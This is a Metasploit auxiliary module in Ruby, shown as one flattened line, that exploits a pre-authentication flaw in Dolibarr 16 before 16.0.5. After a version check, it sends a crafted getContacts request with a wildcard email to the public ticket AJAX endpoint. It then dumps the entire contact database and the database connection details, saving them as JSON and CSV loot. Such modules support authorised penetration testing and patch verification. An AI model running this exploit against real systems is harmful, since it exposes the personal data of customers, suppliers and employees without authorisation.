## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Module::Failure def initialize(info = {}) super( update_info( info, 'Name' => 'Dolibarr 16 pre-auth contact database dump', 'Description' => %q{ Dolibarr version 16 < 16.0.5 is vulnerable to a pre-authentication contact database dump. An unauthenticated attacker may retrieve a company’s entire customer file, prospects, suppliers, and potentially employee information if a contact file exists. Both public and private notes are also included in the dump. }, 'Author' => [ 'Vladimir TOUTAIN', 'Nolan LOSSIGNOL-DRILLIEN' ], 'License' => MSF_LICENSE, 'DisclosureDate' => '2023-03-14', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [], 'SideEffects' => [IOC_IN_LOGS] }, 'References' => [ ['URL', 'https://www.dsecbypass.com/en/dolibarr-pre-auth-contact-database-dump/'], ['URL', 'https://github.com/Dolibarr/dolibarr/blob/16.0.5/ChangeLog#L34'], ['URL', 'https://github.com/Dolibarr/dolibarr/commit/bb7b69ef43673ed403436eac05e0bc31d5033ff7'], ['URL', 'https://github.com/Dolibarr/dolibarr/commit/be82f51f68d738cce205f4ce5b469ef42ed82d9e'] ], 'DefaultOptions' => { 'HttpClientTimeout' => 20 } ) ) register_options( [ Opt::RPORT(80), OptString.new('TARGETURI', [true, 'Path to Dolibarr instance', '/']) ] ) end def check_host(_ip) res = send_request_cgi!({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) }) return Exploit::CheckCode::Unknown('Connection failed') unless res return Exploit::CheckCode::Safe unless res.code == 200 version = res.body.scan(/Dolibarr ([\d.]+-*[a-zA-Z0-9]*)/).flatten.first return Exploit::CheckCode::Detected('Dolibarr version not found - proceeding anyway...') if version.blank? if Rex::Version.new(version).between?(Rex::Version.new('16.0.0'), Rex::Version.new('16.0.4')) return Exploit::CheckCode::Appears("Detected vulnerable Dolibarr version: #{version}") end return Exploit::CheckCode::Safe("Detected apparently non-vulnerable Dolibarr version: #{version}") end def run_host(ip) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/public/ticket/ajax/ajax.php'), 'vars_get' => { 'action' => 'getContacts', 'email' => '%' } }, datastore['HttpClientTimeout'], true) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response - try increasing HttpClientTimeout") if res.nil? fail_with(Failure::UnexpectedReply, "Exploit response code: #{res.code}") if res.code != 200 res_json_document = res.get_json_document fail_with(Failure::UnexpectedReply, 'Dolibarr data did not include contacts field') if res_json_document['contacts'].blank? contacts = res_json_document['contacts'] print_good("Database type: #{contacts.dig(0, 'db', 'type') || ''}") print_good("Database name: #{contacts.dig(0, 'db', 'database_name') || ''}") print_good("Database user: #{contacts.dig(0, 'db', 'database_user') || ''}") print_good("Database host: #{contacts.dig(0, 'db', 'database_host') || ''}") print_good("Database port: #{contacts.dig(0, 'db', 'database_port') || ''}") contact_fields = contacts[0].keys contact_fields.delete('db') # We do not want this in the csv nbr_contact = contacts.length path_json_file = store_loot( 'dolibarr', 'application/json', ip, JSON.pretty_generate(res.get_json_document), '.json' ) print_good("Found #{nbr_contact} contacts.") print_good("#{rhost}:#{rport} - File saved in: #{path_json_file}") csv_string = CSV.generate do |csv| # Loop to write into csv csv << contact_fields contacts.each do |contact| csv << contact_fields.map do |element| if contact[element.to_s].is_a?(String) || contact[element.to_s].is_a?(Integer) contact[element.to_s]&.to_s&.strip || '' else '' end end end end path_csv_file = store_loot( 'dolibarr', 'application/csv', ip, csv_string, '.csv' ) print_good("#{rhost}:#{rport} - File saved in: #{path_csv_file}") end end